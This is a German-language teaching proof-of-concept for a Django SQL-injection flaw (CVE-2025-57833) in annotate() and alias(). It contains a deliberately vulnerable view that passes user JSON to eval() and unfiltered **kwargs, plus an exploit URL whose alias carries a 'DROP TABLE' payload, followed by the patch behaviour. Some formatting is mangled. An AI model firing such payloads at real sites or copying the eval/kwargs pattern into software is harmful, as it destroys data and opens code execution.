
Lehrreicher Proof-of-Concept, der SQL-Injection über dynamische Aliase in Djangos annotate()- und alias()-Methoden demonstriert (CVE-2025-57833). Enthält anfälligen Code, Exploit-Beispiel und Fix-Analyse.
Ein Alias ist ein Name, der einer Spalte oder einem Aggregationsergebnis in einer SQL-Abfrage gegeben wird.
In Django werden Aliase mit den Methoden annotate() oder alias() verwendet, um berechnete Felder zu benennen.
Beispiel:
from django.db.models import Count
books = Book.objects.annotate(book_count=Count('id'))
Hier ist book_count ein Alias für das Ergebnis von Count('id').
Dies ermöglicht es, einen lesbaren Namen für eine berechnete Spalte zu erhalten.
Um schnell vorzugehen, kann man die Daten über die Shell einfügen:
python manage.py shell
Auszuführende Befehle:
from myapp.models import Author, Book
a = Author.objects.create(name=" houchi pierre")
Book.objects.create(title="Les belles filles", author=a)
Book.objects.create(title="Les baux arcons", author=a)
exit()
Vor Django 4.2.23 war es möglich, SQL über dynamische, vom Benutzer bereitgestellte Aliase einzuschleusen.
Diese Schwachstelle ist als CVE-2025-57833 bekannt.
Sie betraf die Funktionen annotate() und alias(), wenn ein Dictionary mit Expansion (**kwargs) mit ungefilterten Schlüsseln vom Benutzer verwendet wurde.
myapp/views.py)import json
from django.db.models import Count
from django.http import JsonResponse
from .models import Author
def vulnerable_view(request):
# On récupère l'alias depuis l'URL
alias_param = request.GET.get("alias", "{}")
try:
# ⚠️ Vulnérable : évaluation directe des données utilisateurs
alias_dict = json.loads(alias_param)
for key, value in alias_dict.items():
alias_dict[key] = eval(value) # dangereux ! permet l'exécution de code arbitraire
# Création de la queryset avec annotation dynamique
qs = Author.objects.annotate(**alias_dict).values("name", *alias_dict.keys())
# Retour des résultats
return JsonResponse(list(qs), safe=False)
except Exception as e:
return JsonResponse({"error": str(e)})
alias_param = request.GET.get("alias", "{}")
Ruft den Wert des vom Benutzer übergebenen Parameters alias ab.
alias_dict = json.loads(alias_param)
Wandelt den JSON-String in ein Python-Wörterbuch um.
alias_dict[key] = eval(value)
⚠️ Sehr gefährlich: eval() führt den String als Python-Code aus.
Der Benutzer könnte zerstörerisches SQL einschleusen.
Author.objects.annotate(**alias_dict)
Wendet dynamisch die Annotationen mit den bereitgestellten Aliasen an.
myapp/models.py)from django.db import models
class Author(models.Model):
name = models.CharField(max_length=100)
def __str__(self):
return self.name
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)
def __str__(self):
return self.title
Erklärung:
Author und Book sind über eine ForeignKey-Beziehung verknüpft.Author verwendet, um Informationen über seine Bücher zu berechnen.http://127.0.0.1:8000/vuln/?alias={"evil); DROP TABLE myapp_book;--":"Count('id')"}
Django verbietet nun bestimmte Zeichen in Aliasen:
--)Wenn die URL diese Zeichen enthält, löst Django einen Fehler aus:
Column aliases cannot contain whitespace characters, quotation marks, semicolons, or SQL comments.
http://127.0.0.1:8000/vuln/?alias={"books_count":"Count('book')"}
eval() auf Werte, die vom Benutzer stammen.eval() auf Benutzerdaten anwenden.Autor: Loïc
Datum: 06.09.2025